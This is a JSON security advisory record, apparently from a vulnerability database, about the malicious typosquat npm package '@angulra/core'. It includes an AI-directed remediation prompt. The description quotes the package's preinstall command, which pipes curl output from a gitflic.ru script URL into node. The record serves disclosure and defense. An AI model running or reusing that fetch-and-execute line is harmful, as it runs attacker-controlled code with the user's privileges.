{"answers":{"affected":"1 open source package ship an affected version, including @angulra/core.","exploited":"There is no known exploitation of MAL-2026-17496 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17496 is a malicious package in @angulra/core, published on 4 Oct 2026."},"fix_prompt":"MAL-2026-17496 is a malicious package: @angulra/core (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17496/ (Markdown: https://insights.sbomify.com/MAL-2026-17496/index.md)","id":"MAL-2026-17496","markdown":"https://insights.sbomify.com/MAL-2026-17496/index.md","name":"MAL-2026-17496","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package.json preinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from an unrelated third-party host (gitflic.ru, proxied via web.archive.org) and piping it directly into node at `npm install` time. The fetch is unpinned, has no integrity or signature check, and the source is attacker-controlled and mutable. The scoped name `@angulra/core` resembles Angular ecosystem names while the package description (`Core Libs`) and dependency set (mysql, pg, redis, knox, amqp) are inconsistent with any coherent library purpose, consistent with a typosquat lure. Any environment running `npm install` on this package executes arbitrary remote code with the installing user's privileges.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @angulra/core (npm)","id":"MAL-2026-17496","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@angulra/core","purl":"pkg:npm/%40angulra/core","source":"MAL-2026-17496"}],"products":null,"published":"2026-10-04","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17496/"}